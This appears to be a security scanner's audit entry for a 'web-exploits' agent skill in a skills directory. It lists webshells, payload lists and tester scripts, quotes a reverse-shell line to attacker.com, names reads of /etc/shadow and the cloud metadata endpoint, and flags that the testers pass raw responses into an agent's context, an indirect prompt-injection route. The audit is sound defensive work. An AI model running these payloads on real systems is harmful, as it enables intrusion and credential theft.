The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill includes multiple functional webshells (php_reverse.php, jsp_cmd.jsp, aspx_cmd.aspx, and node_cmd.js) designed to facilitate arbitrary system command execution on a target server. The AV scanner identified jsp_cmd.jsp as a known trojan.- [COMMAND_EXECUTION]: Extensive payload lists (cmd_injection.txt, file_upload_bypass.txt) include reverse shell commands targeting external IPs, such as bash -i >& /dev/tcp/attacker.com/4444.- [DATA_EXFILTRATION]: Payloads in lfi.txt, sqli_mysql.txt, and ssrf.txt are designed to extract sensitive system files (like /etc/shadow) and access cloud provider metadata endpoints (e.g., 169.254.169.254).- [OBFUSCATION]: Several test vectors in xss_reflected.txt and file_upload_bypass.txt use Base64 encoding to obfuscate command execution and script tags, which can be used to bypass simple string-based security filters.- [INDIRECT_PROMPT_INJECTION]: The provided Python testers (lfi_tester.py, ssti_tester.py) ingest raw HTTP response data from external targets and output it directly to the agent's context without using boundary markers or sanitization.
Ingestion points: requests.get/post(...).text in lfi_tester.py, ssti_tester.py, upload_tester.py, and csrf_grabber.py.
Boundary markers: Absent.
Capability inventory: Network interaction via requests and file manipulation capabilities derived from the skill's exploitation scripts.
Sanitization: Absent.

web-exploits